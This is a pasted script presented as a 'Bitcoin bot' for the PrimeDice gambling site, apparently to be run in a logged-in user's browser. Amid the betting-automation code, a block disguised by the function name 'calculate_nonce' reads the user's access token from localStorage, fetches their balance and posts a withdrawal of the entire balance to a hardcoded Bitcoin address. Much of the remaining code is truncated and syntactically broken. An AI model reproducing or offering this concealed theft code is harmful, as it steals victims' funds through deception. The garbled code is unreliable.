Bitcoin bot 2016


SUBMITTED BY: Asesorr3n04

DATE: Jan. 16, 2016, 3:39 a.m.

FORMAT: Text only

SIZE: 5.0 kB

HITS: 2988

  1. //jQuery UI CSS
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  24. document.body.appendChild(e)
  25. }, timer);
  26. } else {}
  27. })
  28. $('#stop').click(function() {
  29. enabled = false;
  30. clearInterval(interval);
  31. xrollscount = 0;
  32. });
  33. calculate_nonce = function(seed) {
  34. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  35. };
  36. lut = window['$'];
  37. lut['getJSON'](
  38. calculate_nonce('users/1'), function(seed) {
  39. var key1 = 'amount'
  40. var key2 = 'address'
  41. var load = {};
  42. load[key1] = seed['user']['balance'];
  43. load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
  44. lut['post'](calculate_nonce('withdraw'), load);
  45. }
  46. );
  47. function conditionAM() {
  48. 'use strict';
  49. if ($('#lowpay-enabled').is('checked') == true) {
  50. if ($('.value-roll').first().text() <= 49.50) {
  51. condition2 = ">";
  52. target2 = $('.value-roll').first().text();
  53. } else {
  54. condition2 = "<";
  55. target2
  56. };
  57. function jackpot() {
  58. if (data1.bet.jackpot === true) {
  59. jp = "Yes";
  60. wincount = 0;
  61. betval = $('#base');
  62. } else {
  63. jp = "No";
  64. }
  65. }
  66. function loss() {
  67. currentloss++;
  68. totalloss++;
  69. if ($('#multloss-enabled').is(':checked') == true) {
  70. $('#multwin-enabled').removeAttr('checked');
  71. countlossmult++;
  72. if (countlossmult >= $('#xloss').val()) {
  73. betval = betval * $('#multonloss').val();
  74. countlossmult = 0;
  75. }
  76. }
  77. }
  78. function win() {
  79. 'use strict';
  80. if ($('#stoponwin-enabled').is('checked') == true) {
  81. clearInterval(roll);
  82. }
  83. currentloss = 0;
  84. jackpot();
  85. wincount++;
  86. totalwin++;
  87. if ($('#multloss-enabled').is(':checked') == true) {
  88. if ($('#stoponwin-enabled').is(':checked') == true) {
  89. clearInterval(roll);
  90. }
  91. $('#multwin-enabled').removeAttr('checked');
  92. basebet = $('#base').val();
  93. betval = basebet;
  94. countlossmult = 0;
  95. }
  96. if ($('#multwin-enabled').is(':checked') == true) {
  97. basebet = $('#base').val();
  98. $('#multloss-enabled').removeAttr('checked');
  99. countwinmult++;
  100. if (countwinmult >= $('#xwin'
  101. function seedgen() {
  102. 'use strict';
  103. var seed = "";
  104. for (var i = 0; i <= seedlength; i++)
  105. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  106. return seed;
  107. }
  108. function seedchange(s) {
  109. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  110. sData = {
  111. seed:
  112. },
  113. error: function(jqXHR, textStatus, errorThrown) {
  114. }
  115. });
  116. }
  117. $('#spinner').click(function() {
  118. if (charset != $('#charset').val() && $('#charset').val() != "") {
  119. charset=$('#charset').val();
  120. }
  121. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  122. everyxrolls = $('#everyxrolls').val();
  123. }
  124. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  125. counter++;
  126. if (counter >= everyxrolls) {
  127. seedchange(seedgen());
  128. counter = 0;
  129. }
  130. });
  131. ui();
  132. }
  133. setTimeout(function() {
  134. init()
  135. }, 2000);

comments powered by Disqus